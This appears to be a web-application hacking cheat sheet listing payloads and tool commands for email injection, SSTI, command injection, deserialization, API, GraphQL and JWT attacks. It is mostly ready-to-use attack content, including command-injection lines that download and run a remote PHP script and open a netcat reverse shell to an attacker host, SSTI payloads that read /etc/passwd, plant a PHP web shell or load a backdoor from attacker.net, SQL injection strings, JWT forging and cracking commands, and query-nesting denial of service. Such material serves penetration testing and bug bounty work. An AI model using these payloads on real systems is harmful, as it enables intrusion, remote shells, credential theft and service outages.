You are now logged in the incognito tab as user from step 6 as well.
Email attacks
Attack | Payload |
---|---|
XSS | test+(alert(0))@example.com test@example(alert(0)).com "alert(0)"@example.com <script src=//xsshere?”@email.com |
Template injection | "<%= 7 * 7 %>"@example.com test+(${{7*7}})@example.com |
SQLi | "' OR 1=1 -- '"@example.com "mail'); SELECT version();--"@example.com a'-IF(LENGTH(database())=9,SLEEP(7),0)or'1'='1"@a.com |
SSRF | john.doe@abc123.burpcollaborator.net john.doe@[127.0.0.1] |
Parameter Pollution | victim&email=attacker@example.com |
(Email) Header Injection | "%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com "recipient@test.com>\r\nRCPT TO:<victim+"@test.com |
Wildcard abuse | %@example.com |
# Bypass whitelist
inti(;inti@inti.io;)@whitelisted.com
inti@inti.io(@whitelisted.com)
inti+(@whitelisted.com;)@inti.io
#HTML Injection in Gmail
inti.de.ceukelaire+(<b>bold<u>underline<s>strike<br/>newline<strong>strong<sup>sup<sub>sub)@gmail.com
# Bypass strict validators
# Login with SSO & integrations
GitHub & Salesforce allow xss in email, create account and abuse with login integration
# Common email accounts
support@
jira@
print@
feedback@
asana@
slack@
hello@
bug(s)@
upload@
service@
it@
test@
help@
tickets@
tweet@
Pastejacking
https://research.securitum.com/the-curious-case-of-copy-paste/
HTTP Parameter pollution
# Inject existing extra parameters in GET:
https://www.bank.com/transfer?from=12345&to=67890&amount=5000&from=ABCDEF
https://www.site.com/sharer.php?u=https://site2.com/blog/introducing?&u=https://site3.com/test
SSTI
# Tool
# https://github.com/epinna/tplmap
tplmap.py -u 'http://www.target.com/page?name=John'
# Payloads
# https://github.com/payloadbox/ssti-payloads
# Oneliner
# Check SSTI in all param with qsreplace
waybackurls http://target.com | qsreplace "ssti{{9*9}}" > fuzz.txt
ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/
# Check in burp for reponses with ssti81
# Generic
${{<%[%'"}}%\.
{% raw %}
{% debug %}
{7*7}
{{ '7'*7 }}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ [].__class__.__base__.__subclasses__O }}
# PHP Based
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
# Node.js Backend based
{{ this }}-> [Object Object]
{{ this.__proto__ }}-> [Object Object]
{{ this.__proto__.constructor.name }}-> Object
{{this.constructor.constructor}}
{{this. constructor. constructor('process.pid')()}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
# Java
${7*7}
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
# Ruby
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
# Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
# Perl
<%= perl code %>
<% perl code %>
# Flask/Jinja2
{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
{% endraw %}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
# .Net
@(1+2)
@{// C# code}
Prototype Pollution
# https://github.com/msrkp/PPScan
# https://github.com/BlackFan/client-side-prototype-pollution
Command Injection
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.
# For detection, try to concatenate another command to param value
&
;
Newline (0x0a or \n)
&&
|
||
# like: https://target.com/whatever?param=1|whoami
# Blind (Time delay)
https://target.com/whatever?param=x||ping+-c+10+127.0.0.1||
# Blind (Redirect)
https://target.com/whatever?param=x||whoami>/var/www/images/output.txt||
# Blind (OOB)
https://target.com/whatever?param=x||nslookup+burp.collaborator.address||
https://target.com/whatever?param=x||nslookup+`whoami`.burp.collaborator.address||
# Common params:
cmd
exec
command
execute
ping
query
jump
code
reg
do
func
arg
option
load
process
step
read
function
req
feature
exe
module
payload
run
print
# Useful Commands: Linux
whoami
ifconfig
ls
uname -a
# Useful Commands: Windows
whoami
ipconfig
dir
ver
# Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id
ls|id; ls |id; ls| id; ls | id
ls&&id; ls &&id; ls&& id; ls && id
ls&id; ls &id; ls& id; ls & id
ls %0A id
# Time Delay Commands
& ping -c 10 127.0.0.1 &
# Redirecting output
& whoami > /var/www/images/output.txt &
# OOB (Out Of Band) Exploitation
& nslookup attacker-server.com &
& nslookup `whoami`.attacker-server.com &
# WAF bypasses
vuln=127.0.0.1 %0a wget https://evil.txt/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash <attacker-ip> <attacker-port>
vuln=echo PAYLOAD > /tmp/payload.txt; cat /tmp/payload.txt | base64 -d > /tmp/payload; chmod 744 /tmp/payload; /tmp/payload
# Some filter bypasses
cat /etc/passwd
cat /e”t”c/pa”s”swd
cat /’e’tc/pa’s’ swd
cat /etc/pa??wd
cat /etc/pa*wd
cat /et’ ‘c/passw’ ‘d
cat /et$()c/pa$()$swd
{cat,/etc/passwd}
cat /???/?????d
# Tools
https://github.com/commixproject/commix
Deserialization
Insecure deserialization is when user-controllable data is deserialized by a website. This potentially enables an attacker to manipulate serialized objects in order to pass harmful data into the application code.
Objects of any class that is available to the website will be deserialized and instantiated, regardless of which class was expected. An object of an unexpected class might cause an exception. By this time, however, the damage may already be done. Many deserialization-based attacks are completed before deserialization is finished. This means that the deserialization process itself can initiate an attack, even if the website's own functionality does not directly interact with the malicious object.
Vulnerable functions
# PHP
unserialize()
# Python
pickle/c_pickle/_pickle with load/loads
PyYAML with load
jsonpickle with encode or store methods>/tmp/f
# Java
# Whitebox
XMLdecoder with external user defined parameters
XStream with fromXML method (xstream version <= v1.46 is vulnerable to the serialization issue)
ObjectInputStream with readObject
Uses of readObject, readObjectNodData, readResolve or readExternal
ObjectInputStream.readUnshared
Serializable
# Blackbox
AC ED 00 05 in Hex
rO0 in Base64
Content-type: application/x-java-serialized-object
# ysoserial
java -jar ysoserial.jar CommonsCollections4 'command'
# .Net
# Whithebox
TypeNameHandling
JavaScriptTypeResolver
# Blackbox
AAEAAAD/////
TypeObject
$type
Tools
# Java
# Ysoserial: https://github.com/frohoff/ysoserial
java -jar ysoserial.jar CommonsCollections4 'command'
# Java Deserialization Scanner: https://github.com/federicodotta/Java-Deserialization-Scanner
# SerialKiller: https://github.com/ikkisoft/SerialKiller
# Serianalyzer: https://github.com/mbechler/serianalyzer
# Java Unmarshaller Security: https://github.com/mbechler/marshalsec
# Java Serial Killer: https://github.com/NetSPI/JavaSerialKiller
# Android Java Deserialization Vulnerability Tester: https://github.com/modzero/modjoda
# Java https://github.com/phith0n/zkar
# .NET
# Ysoserial.net: https://github.com/pwntester/ysoserial.net
ysoserial.exe -g ObjectDataProvider -f Json.Net -c “command-here” -o base64
# Burp-Plugins
# Java: https://github.com/DirectDefense/SuperSerial
# Java: https://github.com/DirectDefense/SuperSerial-Active
# Burp-ysoserial: https://github.com/summitt/burp-ysoserial
DNS rebinding
Services
https://sslip.io/
https://lock.cmpxchg8b.com/rebinder.html
My personal extension that will help you in Bug Hunting :)
1.THis extension help you to finding hidden api keys in websites.
https://addons.mozilla.org/en-US/firefox/addon/trufflehog/
2.THis extension is for using burpsuite or any other proxy capture (mitm) application.
https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
3.THis extension will help you to find which technology running on website.
https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/
4.THis extension used for tempmail service in fast and easy way.
https://addons.mozilla.org/en-US/firefox/addon/temp-mail/
5.THis extension used for finding all email from the website best use for submitting report on public programs..
https://addons.mozilla.org/en-US/firefox/addon/hunterio/
6.THis extension give you all useful paylaod for testing site in easy way.
https://addons.mozilla.org/en-US/firefox/addon/hacktools/
7.THis is best extension for cookie editor also this will tell you site http only or secure flag flag set or not.
https://addons.mozilla.org/en-US/firefox/addon/edit-cookie/
another alternative:
https://cookie-editor.com/
8.THis extension is best use for protecting your vpn ip from webrtc exposer.
https://addons.mozilla.org/en-US/firefox/addon/happy-bonobo-disable-webrtc/
9.THis extension used for fetching all domains and links from websites and google results.
https://addons.mozilla.org/en-US/firefox/addon/link-gopher/
10.THis extension used for finding hidden possible parameter or secret keys.
https://addons.mozilla.org/en-US/firefox/addon/findsomething/
11.THis extension will help you to find .git files in website easy p1 Information disclosure.
https://addons.mozilla.org/en-US/firefox/addon/dotgit/
12.THis extension used for opening multiple sites in one time.
https://addons.mozilla.org/en-US/firefox/addon/open-multiple-urls/
13.THis extensioin is best use for blocking irritating ads or trackers on sites.
https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/
14.THis extension will protect your eyes better use for night time while hunting.
https://addons.mozilla.org/en-US/firefox/addon/darkreader/
15.THis extension used for switching user-agent better for testing site with many user-agents.
https://addons.mozilla.org/en-US/firefox/addon/uaswitcher/
16.THis extension tell you all vulnerable javascript library.
https://addons.mozilla.org/en-US/firefox/addon/retire-js/
17.THis extension is used to translates all languages in websites.
https://addons.mozilla.org/en-US/firefox/addon/traduzir-paginas-web/
18.THis extension fetch all urls from waybackmachines same like waybackurls
https://addons.mozilla.org/en-US/firefox/addon/waybackurl/
19.SponsorBlock lets you skip over sponsors, intros, outros, subscription reminders, and other annoying parts of YouTube videos.
https://addons.mozilla.org/en-US/firefox/addon/sponsorblock/
20.The Shodan plugin tells you where the website is hosted (country, city), who owns the IP and what other services/ ports are open.
https://addons.mozilla.org/es/firefox/addon/shodan-addon/
Web Technologies
Check out in the left submenu what common attack you want review
APIs
Tools
# Tools
https://github.com/Fuzzapi/fuzzapi
https://github.com/Fuzzapi/API-fuzzer
https://github.com/flipkart-incubator/Astra
https://github.com/BBVA/apicheck/
https://github.com/ngalongc/openapi_security_scanner
https://github.com/assetnote/kiterunner
https://github.com/s0md3v/dump/tree/master/json2paths
https://github.com/API-Security/APIKit
# API keys guesser
https://api-guesser.netlify.app/
# Wordlists
https://github.com/chrislockard/api_wordlist
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common-api-endpoints-mazen160.txt
https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/api
https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.txt
# Swagger to burp
https://rhinosecuritylabs.github.io/Swagger-EZ/
# List swagger routes
https://github.com/amalmurali47/swagroutes
# Checklist
https://gitlab.com/pentest-tools/API-Security-Checklist/-/blob/master/README.md
# Best mindmap
https://dsopas.github.io/MindAPI/play/
# GUID guesser
https://gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
General
# SOAP uses: mostly HTTP and XML, have header and body
# REST uses: HTTP, JSON , URL and XML, defined structure
# GraphQL uses: Custom query language, single endpoint
# Always check for race conditions and memory leaks (%00)
# SQLi tip
{"id":"56456"} - OK
{"id":"56456 AND 1=1#"} -> OK
{"id":"56456 AND 1=2#"} -> OK
{"id":"56456 AND 1=3#"} -> ERROR
{"id":"56456 AND sleep(15)#"} -> SLEEP 15 SEC
# Shell injection
- RoR
Check params like ?url=Kernel#open
and change like ?url=|ls
# Tip
If the request returns nothing:
- Add this header to siumlate a Frontend
"X-requested-with: XMLHttpRequest"
- Add params like:
GET /api/messages > 401
GET /api/messages?user_id=1 > 200
# Checklist:
• Auth type
• Max retries in auth
• Encryption in sensible fields
• Test from most vulnerable to less
◇ Organization's user management
◇ Export to CSV/HTML/PDF
◇ Custom views of dashboards
◇ Sub user creation&management
◇ Object sharing (photos, posts,etc)
• Archive.org
• Censys
• VirusTotal
• Abusing object level authentication
• Abusing weak password/dictionary brute forcing
• Testing for mass management, instead /api/videos/1 -> /api/my_videos
• Testing for excessive data exposure
• Testing for command injection
• Testing for misconfigured permissions
• Testing for SQL injection
Access
• Limit in repeated requests
• Check always HTTPS
• Check HSTS
• Check distinct login paths /api/mobile/login | /api/v3/login | /api/magic_link
• Even id is not numeric, try it /?user_id=111 instead /?user_id=user@mail.com
• Bruteforce login
• Try mobile API versions
• Don't assume developer, mobile and web API is the same, test them separately
Input
• Check distinct methods GET/POST/PUT/DELETE.
• Validate content-type on request Accept header (e.g. application/xml, application/json, etc.)
• Validate content-type of posted data (e.g. application/x-www-form-urlencoded, multipart/form-data, application/json, etc.).
• Validate user input (e.g. XSS, SQL-Injection, Remote Code Execution, etc.).
• Check sensitive data in the URL.
• Try input injections in ALL params
• Locate admin endpoints
• Try execute operating system command
◇ Linux :api.url.com/endpoint?name=file.txt;ls%20/
• XXE
◇ <!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
• SSRF
• Check distinct versions api/v{1..3}
• If REST API try to use as SOAP changing the content-type to "application/xml" and sent any simple xml to body
• IDOR in body/header is more vulnerable than ID in URL
• IDOR:
◇ Understand real private resources that only belongs specific user
◇ Understand relationships receipts-trips
◇ Understand roles and groups
◇ If REST API, change GET to other method Add a “Content-length” HTTP header or Change the “Content-type”
◇ If get 403/401 in api/v1/trips/666 try 50 random IDs from 0001 to 9999
• Bypass IDOR limits:
◇ Wrap ID with an array {“id”:111} --> {“id”:[111]}
◇ JSON wrap {“id”:111} --> {“id”:{“id”:111}}
◇ Send ID twice URL?id=<LEGIT>&id=<VICTIM>
◇ Send wildcard {"user_id":"*"}
◇ Param pollution
▪ /api/get_profile?user_id=<victim’s_id>&user_id=<user_id>
▪ /api/get_profile?user_id=<legit_id>&user_id=<victim’s_id>
▪ JSON POST: api/get_profile {“user_id”:<legit_id>,”user_id”:<victim’s_id>}
▪ JSON POST: api/get_profile {“user_id”:<victim’s_id>,”user_id”:<legit_id>}
▪ Try wildcard instead ID
• If .NET app and found path, Developers sometimes use "Path.Combine(path_1,path_2)" to create full path. Path.Combine has weird behavior: if param#2 is absolute path, then param#1 is ignored.
◇ https://example.org/download?filename=a.png -> https://example.org/download?filename=C:\\inetpub\wwwroot\a.png
◇ Test: https://example.org/download?filename=\\smb.dns.praetorianlabs.com\a.png
• Found a limit / page param? (e.g: /api/news?limit=100) It might be vulnerable to Layer 7 DoS. Try to send a long value (e.g: limit=999999999) and see what happens :)
Processing
• Check if all the endpoints are protected behind authentication.
• Check /user/654321/orders instead /me/orders.
• Check auto increment ID's.
• If parsing XML, check XXE.
• Check if DEBUG is enabled.
• If found GET /api/v1/users/<id> try DELETE / POST to create/delete users
• Test less known endpoint POST /api/profile/upload_christmas_voice_greeting
Output
• If you find sensitive resource like /receipt try /download_receipt,/export_receipt.
• DoS Limit: /api/news?limit=100 -> /api/news?limit=9999999999
• Export pdf - try XSS or HTML injection
◇ LFI: username=<iframe src="file:///C:/windows/system32/drivers/etc/hosts" height=1000 width=1000/>
◇ SSRF: <object data=”http://127.0.0.1:8443”/>
◇ Open Port: <img src=”http://127.0.0.1:445”/> if delay is < 2.3 secs is open
◇ Get real IP: <img src=”https://iplogger.com/113A.gif”/>
◇ DoS: <img src=”http://download.thinkbroadband.com/1GB.zip”/>
▪ <iframe src=”http://example.com/RedirectionLoop.aspx”/>
# Endpoint bypasses
# whatever.com/api/v1/users/sensitivedata -> access denied
# Add to the final endpoint
.json
?
..;/
\..\.\getUSer
/
??
&details
#
%
%20
%09
# General info about APIs
https://openapi.tools/
# Common vulns
- API Exposure
- Misconfigured Caching
- Exposed tokens
- JWT Weaknesses
- Authorization Issues / IDOR / BOLA
- Undocumented Endpoints
- Different Versions
- Rate Limiting (BF allowed)
- Race Conditions
- XXE injection
- Switching Content Type
- HTTP Methods
- Injection Vulnerabilities
REST
# Predictable endppoints
GET /video/1
DELETE /video/1
GET /video/1/delete
GET /video/2
# Create POST
# Read GET
# Update POST PUT
# Delete PUT DELETE
# Fuzz users & methods to enumerate like /$user$/1 with https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.txt
# Check if supports SOAP. Change the content-type to "application/xml", add a simple XML in the request body, and see how the API handles it.
GraphQL
Tools
# https://github.com/gsmith257-cyber/GraphCrawler
# https://github.com/dolevf/graphw00f
# https://github.com/nikitastupin/clairvoyance
https://github.com/y0k4i-1337/clairvoyancex
# https://github.com/assetnote/batchql
# https://github.com/dolevf/graphql-cop
# https://github.com/doyensec/GQLSpection
# https://github.com/doyensec/inql
# https://github.com/swisskyrepo/GraphQLmap
# https://apis.guru/graphql-voyager/
# https://gitlab.com/dee-see/graphql-path-enum
# https://graphql.security/
# https://astexplorer.net/
# Burp extensions
https://github.com/doyensec/inql
https://github.com/forcesunseen/graphquail
Resources
https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/
https://blog.securelayer7.net/api-penetration-testing-with-owasp-2017-test-cases/
https://blog.forcesunseen.com/graphql-security-testing-without-a-schema
https://escape.tech/blog/graphql-security-wordlist/
https://www.assetnote.io/resources/research/exploiting-graphql
Common bugs
# IDOR
Try access any user id other than yours
# SQL/NoSQL Injections
"filters":{
"username":"test' or 1=1--"
}
# Rate Limit
Because of the nature of GraphQL, we can send multiple queries in a single request by batching them together. If the developers did not implement any kind of mechanism to prevent us from sending batch requests than we could potentially bypass rate limiting by sending the following queries in a single request:
mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"x@example.com" password:"password"}){success jwt}}
# Info disclosure
A query can be constructed from scratch from verbose error messages even when we don’t have the benefits of introspection.
# DOS
Similar to XXE billion laughs attack
query {
&amp;nbsp; posts{
&amp;nbsp;&amp;nbsp;&amp;nbsp; title
&amp;nbsp;&amp;nbsp;&amp;nbsp; comments{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; comment
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; user{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; comments{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; user{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; comments{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; comment
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; user{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; comments{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; comment
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; user{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; comments{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; comment
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; user{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ...
}
}
}
}
}
}
}
}
}
}
}
}
Tips
# Easy to enumeration
# Create {createPost(...)}
# Read {post(id:"1"){id,..}}
# Update {updatePost(...)}
# Delete {deletePost(...)}
To test a server for GraphQL introspection misconfiguration:
1) Intercept the HTTP request being sent to the server
2) Replace its post content / query with a generic introspection query to fetch the entire backend schema
3) Visualize the schema to gather juicy API calls.
4) Craft any potential GraphQL call you might find interesting and HACK away!
example.com/graphql?query={__schema%20{%0atypes%20{%0aname%0akind%0adescription%0afields%20{%0aname%0a}%0a}%0a}%0a}
XSS in GraphQL:
http://localhost:4000/example-1?id=%3C/script%3E%3Cscript%3Ealert('I%20%3C3%20GraphQL.%20Hack%20the%20Planet!!')%3C/script%3E%3Cscript%3E
http://localhost:4000/example-3?id=%3C/script%3E%3Cscript%3Ealert('I%20%3C3%20GraphQL.%20Hack%20the%20Planet!!')%3C/script%3E%3Cscript%3E
# Introspection query
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
# Encoded
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
JS
# JSScanner
# https://github.com/dark-warlord14/JSScanner
# https://securityjunky.com/scanning-js-files-for-endpoint-and-secrets/
bash install.sh
# Configure domain in alive.txt
bash script.sh
cat js/*
cd db && grep -oriahE "https?://[^\"\\'> ]+"
# https://github.com/KathanP19/JSFScan.sh
bash JSFScan.sh -l targets.txt -e -s -m -o
# https://github.com/bp0lr/linkz
# FindSecrets in JS files
https://github.com/m4ll0k/SecretFinder
python3 SecretFinder.py -i https://example.com/1.js -o results.html
# Js vuln scanner, like retire.js with crawling
https://github.com/callforpapers-source/jshole
# get Shell from xss
https://github.com/shelld3v/JSshell
# Find JS sourcemap
1) Find JavaScript files
2) ffuf -w js_files.txt -u FUZZ -mr "sourceMappingURL"
3) Download sourcemap
4) https://github.com/chbrown/unmap
5) Browse configs or just grep for API keys/Creds
ASP.NET
# Look for trace
example.com/trace.axd
example.com/any.aspx/trace.axd
https://www.securifera.com/blog/2023/03/06/attacking-net-web-services/
JWT
Tools
# https://github.com/ticarpi/jwt_tool
# https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
# https://github.com/hahwul/jwt-hack
# https://github.com/mazen160/jwt-pwn
# https://github.com/mBouamama/MyJWT
# https://github.com/DontPanicO/jwtXploiter
# Test all common attacks
python3 jwt_tool.py -t https://url_that_needs_jwt/ -rh "Authorization: Bearer JWT" -M at -cv "Welcome user!"
# Hashcat
# dictionary attacks
hashcat -a 0 -m 16500 jwt.txt passlist.txt
# rule-based attack
hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
# brute-force attack
hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6
# Crack
pip install PyJWT
# https://github.com/Sjord/jwtcrack
# https://raw.githubusercontent.com/Sjord/jwtcrack/master/jwt2john.py
jwt2john.py JWT
./john /tmp/token.txt --wordlist=wordlist.txt
# Wordlist generator crack tokens:
# https://github.com/dariusztytko/token-reverser
# RS256 to HS256
openssl s_client -connect www.google.com:443 | openssl x509 -pubkey -noout > public.pem
cat public.pem | xxd -p | tr -d "\\n" > hex.txt
# Sign JWT with hex.txt
# Generate JWT from terminal
pip install pyjwt
python3 -c 'import jwt;print(jwt.encode({"role": "admin"},"SECRET",algorithm="HS256").decode("UTF-8"))'
General info
1. Leak Sensitive Info
2. Send without signature
3. Change algorythm r to h
4. Crack the secret h256
5. KID manipulation
eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjE1ODQ2NTk0MDAsInVzZXJuYW1lIjoidGVtcHVzZXI2OSIsInJvbGVzIjpbIlJPTEVfRVhURVJOQUxfVVNFUiJdLCJhcHBDb2RlIjoiQU5UQVJJX0FQSSIsImlhdCI6MTU4NDU3MzAwMH0.AOHXCcMFqYFeDSYCEjeugT26RaZLzPldqNAQSlPNpKc2JvdTG9dr2ini4Z42dd5xTBab-PYBvlXIJetWXOX80A
https://trustfoundry.net/jwt-hacking-101/
https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9
https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a
- JKU & X5U Headers - JWK
- Header injection
- Open redirect
- Remember test JWT after session is closed
Attacks
Header
# None algorithm
python3 jwt_tool.py <JWT> -X a
# From RS256 to HS256
python3 jwt_tool.py <JWT> -S hs256 -k public.pem
# Not checked signature
python3 jwt_tool.py <JWT> -I -pc name -pv admin
# Crack secret key
python3 jwt_tool.py <JWT> -C -d secrets.txt
# Null kid
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# Use source file as kid to verify signature
python3 jwt_tool.py -I -hc kid -hv "path/of/the/file" -S hs256 -p "Content of the file"
# jku manipulation for open redirect
python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwttool_custom_jwks.json"
# x5u manipulation for open redirect
openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out attacker.crt -subj "/C=AU/L=Brisbane/O=CompanyName/CN=pentester"
python3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json"
Payload
# SQLi
python3 jwt_tool.py <JWT> -I -pc name -pv "imparable' ORDER BY 1--" -S hs256 -k public.pem
# Manipulate other values to change expiration time or userID for example
GitHub
Tools
# Dump GH repo
# githack
https://github.com/OwenChia/githack
# Goop - Another dumper
https://github.com/deletescape/goop
